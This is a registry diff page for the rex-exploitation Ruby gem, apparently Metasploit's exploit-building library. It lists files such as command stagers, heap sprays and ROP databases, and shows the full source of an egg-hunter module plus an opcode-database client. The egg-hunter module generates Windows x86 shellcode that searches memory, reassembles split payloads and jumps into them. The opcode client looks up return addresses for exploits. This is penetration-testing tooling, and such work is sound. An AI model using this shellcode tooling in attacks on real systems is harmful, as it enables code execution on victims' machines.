rex-exploitation 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
@@ -0,0 +1,321 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/text'
3
+ require 'rex/arch'
4
+ require 'metasm'
5
+
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ ###
11
+ #
12
+ # This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
13
+ #
14
+ # Written by corelanc0d3r <peter.ve@corelan.be>
15
+ #
16
+ ###
17
+ class Omelet
18
+
19
+ ###
20
+ #
21
+ # Windows-based eggs-to-omelet hunters
22
+ #
23
+ ###
24
+ module Windows
25
+ Alias = "win"
26
+
27
+ module X86
28
+ Alias = ARCH_X86
29
+
30
+ #
31
+ # The hunter stub for win/x86.
32
+ #
33
+ def hunter_stub
34
+ {
35
+ # option hash members go here (currently unused)
36
+ }
37
+ end
38
+
39
+ end
40
+ end
41
+
42
+ ###
43
+ #
44
+ # Generic interface
45
+ #
46
+ ###
47
+
48
+ #
49
+ # Creates a new hunter instance and acquires the sub-class that should
50
+ # be used for generating the stub based on the supplied platform and
51
+ # architecture.
52
+ #
53
+ def initialize(platform, arch = nil)
54
+ Omelet.constants.each { |c|
55
+ mod = self.class.const_get(c)
56
+
57
+ next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
58
+
59
+ if (platform =~ /#{mod.const_get('Alias')}/i)
60
+ self.extend(mod)
61
+
62
+ if (arch and mod)
63
+ mod.constants.each { |a|
64
+ amod = mod.const_get(a)
65
+
66
+ next if ((!amod.kind_of?(::Module)) or
67
+ (!amod.const_defined?('Alias')))
68
+
69
+ if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
70
+ amod = mod.const_get(a)
71
+
72
+ self.extend(amod)
73
+ end
74
+ }
75
+ end
76
+ end
77
+ }
78
+ end
79
+
80
+ #
81
+ # This method generates an eggs-to-omelet hunter using the derived hunter stub.
82
+ #
83
+ def generate(payload, badchars = '', opts = {})
84
+
85
+ eggsize = opts[:eggsize] || 123
86
+ eggtag = opts[:eggtag] || "00w"
87
+ searchforward = opts[:searchforward] || true
88
+ reset = opts[:reset]
89
+ startreg = opts[:startreg]
90
+ usechecksum = opts[:checksum]
91
+ adjust = opts[:adjust] || 0
92
+
93
+ return nil if ((opts = hunter_stub) == nil)
94
+
95
+ # calculate number of eggs
96
+ payloadlen = payload.length
97
+ delta = payloadlen / eggsize
98
+ delta = delta * eggsize
99
+ nr_eggs = payloadlen / eggsize
100
+ if delta < payloadlen
101
+ nr_eggs = nr_eggs+1
102
+ end
103
+
104
+ nr_eggs_hex = "%02x" % nr_eggs
105
+ eggsize_hex = "%02x" % eggsize
106
+
107
+ hextag = ''
108
+ eggtag.each_byte do |thischar|
109
+ decchar = "%02x" % thischar
110
+ hextag = decchar + hextag
111
+ end
112
+ hextag = hextag + "01"
113
+
114
+ # search forward or backward ?
115
+ setflag = nil
116
+ searchstub1 = nil
117
+ searchstub2 = nil
118
+ flipflagpre = ''
119
+ flipflagpost = ''
120
+ checksum = ''
121
+
122
+ if searchforward
123
+ # clear direction flag
124
+ setflag = "cld"
125
+ searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
126
+ searchstub2 = "inc edx"
127
+ else
128
+ # set the direction flag
129
+ setflag = "std"
130
+ searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
131
+ searchstub2 = "dec edx"
132
+ flipflagpre = "cld\n\tsub esi,-8"
133
+ flipflagpost = "std"
134
+ end
135
+
136
+ # will we have to adjust the destination address ?
137
+ adjustdest = ''
138
+ if adjust > 0
139
+ adjustdest = "\n\tsub edi,#{adjust}"
140
+ elsif adjust < 0
141
+ adjustdest = "\n\tadd edi,#{adjust}"
142
+ end
143
+
144
+ # prepare the stub that starts the search
145
+ startstub = ''
146
+ if startreg
147
+ if startreg.downcase != 'ebp'
148
+ startstub << "mov ebp,#{startreg}"
149
+ end
150
+ startstub << "\n\t" if startstub.length > 0
151
+ startstub << "mov edx,ebp"
152
+ end
153
+ # a register will be used as start location for the search
154
+ startstub << "\n\t" if startstub.length > 0
155
+ startstub << "push esp\n\tpop edi\n\tor di,0xffff"
156
+ startstub << adjustdest
157
+ # edx will be used, start at end of stack frame
158
+ if not startreg
159
+ startstub << "\n\tmov edx,edi"
160
+ if reset
161
+ startstub << "\n\tpush edx\n\tpop ebp"
162
+ end
163
+ end
164
+
165
+ # reset start after each egg was found ?
166
+ # will allow to find eggs when they are out of order/sequence
167
+ resetstart = ''
168
+ if reset
169
+ resetstart = "push ebp\n\tpop edx"
170
+ end
171
+
172
+ #checksum code by dijital1 & corelanc0d3r
173
+ if usechecksum
174
+ checksum = <<EOS
175
+ xor ecx,ecx
176
+ xor eax,eax
177
+ calc_chksum_loop:
178
+ add al,byte [edx+ecx]
179
+ inc ecx
180
+ cmp cl, egg_size
181
+ jnz calc_chksum_loop
182
+ test_chksum:
183
+ cmp al,byte [edx+ecx]
184
+ jnz find_egg
185
+ EOS
186
+ end
187
+
188
+ # create omelet code
189
+ omelet_hunter = <<EOS
190
+
191
+ nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
192
+ egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
193
+ hex_tag equ 0x#{hextag} ; tag
194
+
195
+ #{setflag} ; set/clear direction flag
196
+ jmp start
197
+
198
+ ; routine to calculate the target location
199
+ ; for writing recombined shellcode (omelet)
200
+ ; I'll use EDI as target location
201
+ ; First, I'll make EDI point to end of stack
202
+ ; and I'll put the number of shellcode eggs in eax
203
+ get_target_loc:
204
+ #{startstub} ; use edx as start location for the search
205
+ xor eax,eax ; zero eax
206
+ mov al,nr_eggs ; put number of eggs in eax
207
+
208
+ calc_target_loc:
209
+ xor esi,esi ; use esi as counter to step back
210
+ mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
211
+
212
+ get_target_loc_loop: ; start loop
213
+ dec edi ; step back
214
+ inc esi ; and update ESI counter
215
+ cmp si,-1 ; continue to step back until ESI = -1
216
+ jnz get_target_loc_loop
217
+ dec eax ; loop again if we did not take all pieces
218
+ ; into account yet
219
+ jnz calc_target_loc
220
+
221
+ ; edi now contains target location
222
+ ; for recombined shellcode
223
+ xor ebx,ebx ; put loop counter in ebx
224
+ mov bl,nr_eggs+1
225
+ ret
226
+
227
+ start:
228
+ call get_target_loc ; jump to routine which will calculate shellcode dst address
229
+
230
+ ; start looking for eggs, using edx as basepointer
231
+ jmp search_next_address
232
+
233
+ find_egg:
234
+ #{searchstub1} ; based on search direction
235
+
236
+ search_next_address:
237
+ #{searchstub2} ; based on search direction
238
+ push edx ; save edx
239
+ push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
240
+ pop eax ; set eax to 0x02
241
+ int 0x2e
242
+ cmp al,0x5 ; address readable ?
243
+ pop edx ; restore edx
244
+ je search_next_address ; if addressss is not readable, go to next address
245
+
246
+ mov eax,hex_tag ; if address is readable, prepare tag in eax
247
+ add eax,ebx ; add offset (ebx contains egg counter, remember ?)
248
+ xchg edi,edx ; switch edx/edi
249
+ scasd ; edi points to the tag ?
250
+ xchg edi,edx ; switch edx/edi back
251
+ jnz find_egg ; if tag was not found, go to next address
252
+ ;found the tag at edx
253
+
254
+ ;do we need to verify checksum ? (prevents finding corrupted eggs)
255
+ #{checksum}
256
+
257
+ copy_egg:
258
+ ; ecx must first be set to egg_size (used by rep instruction) and esi as source
259
+ mov esi,edx ; set ESI = EDX (needed for rep instruction)
260
+ xor ecx,ecx
261
+ mov cl,egg_size ; set copy counter
262
+ #{flipflagpre} ; flip destination flag if necessary
263
+ rep movsb ; copy egg from ESI to EDI
264
+ #{flipflagpost} ; flip destination flag again if necessary
265
+ dec ebx ; decrement egg
266
+ #{resetstart} ; reset start location if necessary
267
+ cmp bl,1 ; found all eggs ?
268
+ jnz find_egg ; no = look for next egg
269
+ ; done - all eggs have been found and copied
270
+
271
+ done:
272
+ call get_target_loc ; re-calculate location where recombined shellcode is placed
273
+ cld
274
+ jmp edi ; and jump to it :)
275
+ EOS
276
+
277
+ the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
278
+
279
+ # create the eggs array
280
+ total_size = eggsize * nr_eggs
281
+ padlen = total_size - payloadlen
282
+ payloadpadding = "A" * padlen
283
+
284
+ fullcode = payload + payloadpadding
285
+ eggcnt = nr_eggs + 2
286
+ startcode = 0
287
+
288
+ eggs = []
289
+ while eggcnt > 2 do
290
+ egg_prep = eggcnt.chr + eggtag
291
+ this_egg = fullcode[startcode, eggsize]
292
+ if usechecksum
293
+ cksum = 0
294
+ this_egg.each_byte { |b|
295
+ cksum += b
296
+ }
297
+ this_egg << [cksum & 0xff].pack('C')
298
+ end
299
+
300
+ this_egg = egg_prep + this_egg
301
+ eggs << this_egg
302
+
303
+ eggcnt -= 1
304
+ startcode += eggsize
305
+ end
306
+
307
+ return [ the_omelet, eggs ]
308
+ end
309
+
310
+ protected
311
+
312
+ #
313
+ # Stub method that is meant to be overridden. It returns the raw stub that
314
+ # should be used as the omelet maker (combine the eggs).
315
+ #
316
+ def hunter_stub
317
+ end
318
+
319
+ end
320
+ end
321
+ end
@@ -0,0 +1,819 @@
1
+ # -*- coding: binary -*-
2
+ require 'rexml/rexml'
3
+ require 'rexml/source'
4
+ require 'rexml/document'
5
+ require 'rexml/parsers/treeparser'
6
+ require 'rex/proto/http'
7
+ require 'uri'
8
+
9
+ module Rex
10
+ module Exploitation
11
+ module OpcodeDb
12
+
13
+ module OpcodeResult # :nodoc:
14
+ def initialize(hash)
15
+ @hash = hash
16
+ end
17
+ attr_reader :hash
18
+ end
19
+
20
+ ###
21
+ #
22
+ # A cachable entry.
23
+ #
24
+ ###
25
+ module Cachable
26
+
27
+ def create(hash) # :nodoc:
28
+ @Cache = {} unless (@Cache)
29
+ if (hash_key(hash) and @Cache[hash_key(hash)])
30
+ @Cache[hash_key(hash)]
31
+ else
32
+ @Cache[hash_key(hash)] = self.new(hash)
33
+ end
34
+ end
35
+
36
+ def hash_key(hash) # :nodoc:
37
+ hash['id'] || nil
38
+ end
39
+
40
+ def flush_cache # :nodoc:
41
+ @Cache.clear
42
+ end
43
+
44
+ end
45
+
46
+ ###
47
+ #
48
+ # This class provides a general interface to items that come from that opcode
49
+ # database that have a symbolic entry identifier and name.
50
+ #
51
+ ###
52
+ module DbEntry
53
+ include OpcodeResult
54
+
55
+ def initialize(hash)
56
+ super
57
+
58
+ @id = hash['id'].to_i
59
+ @name = hash['name']
60
+ end
61
+
62
+ #
63
+ # Fields that could possibly be filtered on for this database entry.
64
+ #
65
+ def filter_hash
66
+ {
67
+ "id" => id,
68
+ "name" => name
69
+ }
70
+ end
71
+
72
+ #
73
+ # The unique server identifier.
74
+ #
75
+ attr_reader :id
76
+ #
77
+ # The unique name for this entry.
78
+ #
79
+ attr_reader :name
80
+ end
81
+
82
+ ###
83
+ #
84
+ # This class represents a particular image module including its name,
85
+ # segments, imports, exports, base address, and so on.
86
+ #
87
+ ###
88
+ class ImageModule
89
+ include DbEntry
90
+
91
+ ###
92
+ #
93
+ # This class contains information about a module-associated segment.
94
+ #
95
+ ###
96
+ class Segment
97
+ def initialize(hash)
98
+ @type = hash['type']
99
+ @base_address = hash['base_address'].to_i
100
+ @size = hash['segment_size'].to_i
101
+ @writable = hash['writable'] == "true" ? true : false
102
+ @readable = hash['readable'] == "true" ? true : false
103
+ @executable = hash['executable'] == "true" ? true : false
104
+ end
105
+
106
+ #
107
+ # The type of the segment, such as ".text".
108
+ #
109
+ attr_reader :type
110
+ #
111
+ # The base address of the segment.
112
+ #
113
+ attr_reader :base_address
114
+ #
115
+ # The size of the segment in bytes.
116
+ #
117
+ attr_reader :size
118
+ #
119
+ # Boolean that indicates whether or not the segment is writable.
120
+ #
121
+ attr_reader :writable
122
+ #
123
+ # Boolean that indicates whether or not the segment is readable.
124
+ #
125
+ attr_reader :readable
126
+ #
127
+ # Boolean that indicates whether or not the segment is executable.
128
+ #
129
+ attr_reader :executable
130
+ end
131
+
132
+ ###
133
+ #
134
+ # This class contains information about a module-associated import.
135
+ #
136
+ ###
137
+ class Import
138
+ def initialize(hash)
139
+ @name = hash['name']
140
+ @address = hash['address'].to_i
141
+ @ordinal = hash['ordinal'].to_i
142
+ end
143
+
144
+ #
145
+ # The name of the imported function.
146
+ #
147
+ attr_reader :name
148
+ #
149
+ # The address of the function pointer in the IAT.
150
+ #
151
+ attr_reader :address
152
+ #
153
+ # The ordinal of the imported symbol.
154
+ #
155
+ attr_reader :ordinal
156
+ end
157
+
158
+ ###
159
+ #
160
+ # This class contains information about a module-associated export.
161
+ #
162
+ ###
163
+ class Export
164
+ def initialize(hash)
165
+ @name = hash['name']
166
+ @address = hash['address'].to_i
167
+ @ordinal = hash['ordinal'].to_i
168
+ end
169
+
170
+ #
171
+ # The name of the exported function.
172
+ #
173
+ attr_reader :name
174
+ #
175
+ # The address of the exported function.
176
+ #
177
+ attr_reader :address
178
+ #
179
+ # The ordinal of the exported symbol.
180
+ #
181
+ attr_reader :ordinal
182
+ end
183
+
184
+ class <<self
185
+ include Cachable
186
+ def hash_key(hash) # :nodoc:
187
+ (hash['id'] || '') +
188
+ (hash['segments'] || '').to_s +
189
+ (hash['exports'] || '').to_s +
190
+ (hash['imports'] || '').to_s
191
+ end
192
+ end
193
+
194
+ def initialize(hash)
195
+ super
196
+
197
+ @locale = Locale.create(hash['locale'])
198
+ @maj_maj_ver = hash['maj_maj_ver'].to_i
199
+ @maj_min_ver = hash['maj_min_ver'].to_i
200
+ @min_maj_ver = hash['min_maj_ver'].to_i
201
+ @min_min_ver = hash['min_min_ver'].to_i
202
+ @timestamp = Time.at(hash['timestamp'].to_i)
203
+ @vendor = hash['vendor']
204
+ @base_address = hash['base_address'].to_i
205
+ @image_size = hash['image_size'].to_i
206
+
207
+ @segments = hash['segments'].map { |ent|
208
+ Segment.new(ent)
209
+ } if (hash['segments'])
210
+ @imports = hash['imports'].map { |ent|
211
+ Import.new(ent)
212
+ } if (hash['imports'])
213
+ @exports = hash['exports'].map { |ent|
214
+ Export.new(ent)
215
+ } if (hash['exports'])
216
+ @platforms = hash['platforms'].map { |ent|
217
+ OsVersion.create(ent)
218
+ } if (hash['platforms'])
219
+
220
+ @segments = [] unless(@segments)
221
+ @imports = [] unless(@imports)
222
+ @exports = [] unless(@exports)
223
+ @platforms = [] unless(@platforms)
224
+ end
225
+
226
+ #
227
+ # An instance of a Locale class that is associated with this module.
228
+ #
229
+ attr_reader :locale
230
+ #
231
+ # The module's major major version number (X.x.x.x).
232
+ #
233
+ attr_reader :maj_maj_ver
234
+ #
235
+ # The module's major minor version number (x.X.x.x).
236
+ #
237
+ attr_reader :maj_min_ver
238
+ #
239
+ # The module's minor major version number (x.x.X.x).
240
+ #
241
+ attr_reader :min_maj_ver
242
+ #
243
+ # The module's minor minor version number (x.x.x.X).
244
+ #
245
+ attr_reader :min_min_ver
246
+ #
247
+ # The timestamp that the image was compiled (as a Time instance).
248
+ #
249
+ attr_reader :timestamp
250
+ #
251
+ # The vendor that created the module.
252
+ #
253
+ attr_reader :vendor
254
+ #
255
+ # The preferred base address at which the module will load.
256
+ #
257
+ attr_reader :base_address
258
+ #
259
+ # The size of the image mapping associated with the module in bytes.
260
+ #
261
+ attr_reader :image_size
262
+ #
263
+ # An array of Segment instances.
264
+ #
265
+ attr_reader :segments
266
+ #
267
+ # An array of Import instances.
268
+ #
269
+ attr_reader :imports
270
+ #
271
+ # An array of Export instances.
272
+ #
273
+ attr_reader :exports
274
+ #
275
+ # An array of OsVersion instances.
276
+ #
277
+ attr_reader :platforms
278
+ end
279
+
280
+ ###
281
+ #
282
+ # This class contains information about a specific locale, such as English.
283
+ #
284
+ ###
285
+ class Locale
286
+ include DbEntry
287
+ class <<self
288
+ include Cachable
289
+ end
290
+ end
291
+
292
+ ###
293
+ #
294
+ # This class contains information about a platform (operating system) version.
295
+ #
296
+ ###
297
+ class OsVersion
298
+ include DbEntry
299
+
300
+ class <<self
301
+ include Cachable
302
+ def hash_key(hash)
303
+ hash['id'] + (hash['modules'] || '')
304
+ end
305
+ end
306
+
307
+ def initialize(hash)
308
+ super
309
+
310
+ @modules = (hash['modules']) ? hash['modules'].to_i : 0
311
+ @desc = hash['desc']
312
+ @arch = hash['arch']
313
+ @maj_ver = hash['maj_ver'].to_i
314
+ @min_ver = hash['min_ver'].to_i
315
+ @maj_patch_level = hash['maj_patch_level'].to_i
316
+ @min_patch_level = hash['min_patch_level'].to_i
317
+ end
318
+
319
+ #
320
+ # The number of modules that exist in this operating system version.
321
+ #
322
+ attr_reader :modules
323
+ #
324
+ # The operating system version description, such as Windows XP 5.2.0.0
325
+ # (IA32).
326
+ #
327
+ attr_reader :desc
328
+ #
329
+ # The architecture that the operating system version runs on, such as IA32.
330
+ #
331
+ attr_reader :arch
332
+ #
333
+ # The major version of the operating system version.
334
+ #
335
+ attr_reader :maj_ver
336
+ #
337
+ # The minor version of the operating system version.
338
+ #
339
+ attr_reader :min_ver
340
+ #
341
+ # The major patch level of the operating system version, such as a service
342
+ # pack.
343
+ #
344
+ attr_reader :maj_patch_level
345
+ #
346
+ # The minor patch level of the operating system version.
347
+ #
348
+ attr_reader :min_patch_level
349
+ end
350
+
351
+ ###
352
+ #
353
+ # An opcode group (esp => eip).
354
+ #
355
+ ###
356
+ class Group
357
+ include DbEntry
358
+ class <<self
359
+ include Cachable
360
+ end
361
+ end
362
+
363
+ ###
364
+ #
365
+ # An opcode type (jmp esp).
366
+ #
367
+ ###
368
+ class Type
369
+ include DbEntry
370
+
371
+ class <<self
372
+ include Cachable
373
+ end
374
+
375
+ def initialize(hash)
376
+ super
377
+
378
+ @opcodes = (hash['opcodes']) ? hash['opcodes'].to_i : 0
379
+ @meta_type = MetaType.create(hash['meta_type']) if (hash['meta_type'])
380
+ @group = Group.create(hash['group']) if (hash['group'])
381
+ @arch = hash['arch']
382
+ end
383
+
384
+ #
385
+ # The number of opcodes associated with this type, or 0 if this information
386
+ # is not available.
387
+ #
388
+ attr_reader :opcodes
389
+ #
390
+ # An instance of the MetaType to which this opcode type belongs, or nil.
391
+ #
392
+ attr_reader :meta_type
393
+ #
394
+ # An instance of the Group to which this opcode type belongs, or nil.
395
+ #
396
+ attr_reader :group
397
+ #
398
+ # The architecture that this opcode type is associated with.
399
+ #
400
+ attr_reader :arch
401
+ end
402
+
403
+ ###
404
+ #
405
+ # An opcode meta type (jmp reg).
406
+ #
407
+ ###
408
+ class MetaType
409
+ include DbEntry
410
+ class <<self
411
+ include Cachable
412
+ end
413
+ end
414
+
415
+ ###
416
+ #
417
+ # An opcode that has a specific address and is associated with one or more
418
+ # modules.
419
+ #
420
+ ###
421
+ class Opcode
422
+ include DbEntry
423
+
424
+ def initialize(hash)
425
+ super
426
+
427
+ @address = hash['address'].to_i
428
+ @type = Type.create(hash['type'])
429
+ @group = @type.group
430
+ @modules = hash['modules'].map { |ent|
431
+ ImageModule.create(ent)
432
+ } if (hash['modules'])
433
+
434
+ @modules = [] unless(@modules)
435
+ end
436
+
437
+ #
438
+ # The address of the opcode.
439
+ #
440
+ attr_reader :address
441
+ #
442
+ # The type of the opcode indicating which instruction is found at the
443
+ # address. This is an instance of the Type class.
444
+ #
445
+ attr_reader :type
446
+ #
447
+ # A Group instance that reflects the group to which the opcode type found
448
+ # at the instance's address belongs.
449
+ #
450
+ attr_reader :group
451
+ #
452
+ # An array of ImageModule instances that show the modules that contain this
453
+ # address.
454
+ #
455
+ attr_reader :modules
456
+ end
457
+
458
+ ###
459
+ #
460
+ # Current statistics of the opcode database.
461
+ #
462
+ ###
463
+ class Statistics
464
+ def initialize(hash)
465
+ @modules = hash['modules'].to_i
466
+ @opcodes = hash['opcodes'].to_i
467
+ @opcode_types = hash['opcode_types'].to_i
468
+ @platforms = hash['platforms'].to_i
469
+ @architectures = hash['architectures'].to_i
470
+ @module_segments = hash['module_segments'].to_i
471
+ @module_imports = hash['module_imports'].to_i
472
+ @module_exports = hash['module_exports'].to_i
473
+ @last_update = Time.at(hash['last_update'].to_i)
474
+ end
475
+
476
+ #
477
+ # The number of modules found within the opcode database.
478
+ #
479
+ attr_reader :modules
480
+ #
481
+ # The number of opcodes supported by the opcode database.
482
+ #
483
+ attr_reader :opcodes
484
+ #
485
+ # The number of opcode types supported by the database.
486
+ #
487
+ attr_reader :opcode_types
488
+ #
489
+ # The number of platforms supported by the database.
490
+ #
491
+ attr_reader :platforms
492
+ #
493
+ # The number of architectures supported by the database.
494
+ #
495
+ attr_reader :architectures
496
+ #
497
+ # The number of module segments supported by the database.
498
+ #
499
+ attr_reader :module_segments
500
+ #
501
+ # The number of module imports supported by the database.
502
+ #
503
+ attr_reader :module_imports
504
+ #
505
+ # The number of module exports supported by the database.
506
+ #
507
+ attr_reader :module_exports
508
+ #
509
+ # The time at which the last database update occurred.
510
+ #
511
+ attr_reader :last_update
512
+ end
513
+
514
+ ###
515
+ #
516
+ # This class implements a client interface to the Metasploit Opcode Database.
517
+ # It is intended to be used as a method of locating reliable return addresses
518
+ # given a set of executable files and a set of usable opcodes.
519
+ #
520
+ ###
521
+ class Client
522
+
523
+ DefaultServerHost = "www.metasploit.com"
524
+ DefaultServerPort = 80
525
+ DefaultServerUri = "/users/opcode/msfopcode_server.cgi"
526
+
527
+ #
528
+ # Returns an instance of an initialized client that will use the supplied
529
+ # server values.
530
+ #
531
+ def initialize(host = DefaultServerHost, port = DefaultServerPort, uri = DefaultServerUri)
532
+ self.server_host = host
533
+ self.server_port = port
534
+ self.server_uri = uri
535
+ end
536
+
537
+ #
538
+ # Disables response parsing.
539
+ #
540
+ def disable_parse
541
+ @disable_parse = true
542
+ end
543
+
544
+ #
545
+ # Enables response parsing.
546
+ #
547
+ def enable_parse
548
+ @disable_parse = false
549
+ end
550
+
551
+ #
552
+ # Returns an array of MetaType instances.
553
+ #
554
+ def meta_types
555
+ request('meta_types').map { |ent| MetaType.create(ent) }
556
+ end
557
+
558
+ #
559
+ # Returns an array of Group instances.
560
+ #
561
+ def groups
562
+ request('groups').map { |ent| Group.create(ent) }
563
+ end
564
+
565
+ #
566
+ # Returns an array of Type instances. Opcode types are specific opcodes,
567
+ # such as a jmp esp. Optionally, a filter hash can be passed to include
568
+ # extra information in the results.
569
+ #
570
+ # Statistics (Bool)
571
+ #
572
+ # If this hash element is set to true, the number of opcodes currently in
573
+ # the database of this type will be returned.
574
+ #
575
+ def types(filter = {})
576
+ request('types', filter).map { |ent| Type.create(ent) }
577
+ end
578
+
579
+ #
580
+ # Returns an array of OsVersion instances. OS versions are associated with
581
+ # a particular operating system release (including service packs).
582
+ # Optionally, a filter hash can be passed to limit the number of results
583
+ # returned. If no filter hash is supplied, all results are returned.
584
+ #
585
+ # Names (Array)
586
+ #
587
+ # If this hash element is specified, only the operating systems that
588
+ # contain one or more of the names specified will be returned.
589
+ #
590
+ # Statistics (Bool)
591
+ #
592
+ # If this hash element is set to true, the number of modules associated
593
+ # with this matched operating system versions will be returned.
594
+ #
595
+ def platforms(filter = {})
596
+ request('platforms', filter).map { |ent| OsVersion.create(ent) }
597
+ end
598
+
599
+ #
600
+ # Returns an array of ImageModule instances. Image modules are
601
+ # version-specific, locale-specific, and operating system version specific
602
+ # image files. Modules have opcodes, segments, imports and exports
603
+ # associated with them. Optionally, a filter hash can be specified to
604
+ # limit the number of results returned from the database. If no filter
605
+ # hash is supplied, all modules will be returned.
606
+ #
607
+ # LocaleNames (Array)
608
+ #
609
+ # This hash element limits results to one or more specific locale by name.
610
+ #
611
+ # PlatformNames (Array)
612
+ #
613
+ # This hash element limits results to one or more specific platform by
614
+ # name.
615
+ #
616
+ # ModuleNames (Array)
617
+ #
618
+ # This hash element limits results to one or more specific module by name.
619
+ #
620
+ # Segments (Bool)
621
+ #
622
+ # If this hash element is set to true, the segments associated with each
623
+ # resulting module will be returned by the server.
624
+ #
625
+ # Imports (Bool)
626
+ #
627
+ # If this hash element is set to true, the imports associated with each
628
+ # resulting module will be returned by the server.
629
+ #
630
+ # Exports (Bool)
631
+ #
632
+ # If this hash element is set to true, the exports associated with each
633
+ # resulting module will be returned by the server.
634
+ #
635
+ def modules(filter = {})
636
+ request('modules', filter).map { |ent| ImageModule.create(ent) }
637
+ end
638
+
639
+ #
640
+ # Returns an array of Locale instances that are supported by the server.
641
+ #
642
+ def locales
643
+ request('locales').map { |ent| Locale.create(ent) }
644
+ end
645
+
646
+ #
647
+ # Returns an array of Opcode instances that match the filter limitations
648
+ # specified in the supplied filter hash. If no filter hash is specified,
649
+ # all opcodes will be returned (but are most likely going to be limited by
650
+ # the server). The filter hash limiters that can be specified are:
651
+ #
652
+ # ModuleNames (Array)
653
+ #
654
+ # This hash element limits results to one or more specific modules by
655
+ # name.
656
+ #
657
+ # GroupNames (Array)
658
+ #
659
+ # This hash element limits results to one or more specific opcode group by
660
+ # name.
661
+ #
662
+ # TypeNames (Array)
663
+ #
664
+ # This hash element limits results to one or more specific opcode type by
665
+ # name.
666
+ #
667
+ # MetaTypeNames (Array)
668
+ #
669
+ # This hash element limits results to one or more specific opcode meta
670
+ # type by name.
671
+ #
672
+ # LocaleNames (Array)
673
+ #
674
+ # Limits results to one or more specific locale by name.
675
+ #
676
+ # PlatformNames (Array)
677
+ #
678
+ # Limits reslts to one or more specific operating system version by name.
679
+ #
680
+ # Addresses (Array)
681
+ #
682
+ # Limits results to a specific set of addresses.
683
+ #
684
+ # Portable (Bool)
685
+ #
686
+ # If this hash element is true, opcode results will be limited to ones
687
+ # that span more than one operating system version.
688
+ #
689
+ def search(filter = {})
690
+ request('search', filter).map { |ent| Opcode.new(ent) }
691
+ end
692
+
693
+ #
694
+ # Returns an instance of the Statistics class that holds information about
695
+ # the server's database stats.
696
+ #
697
+ def statistics
698
+ Statistics.new(request('statistics'))
699
+ end
700
+
701
+ #
702
+ # These attributes convey information about the remote server and can be
703
+ # changed in order to point it to a locate copy as necessary.
704
+ #
705
+ attr_accessor :server_host, :server_port, :server_uri
706
+
707
+ #
708
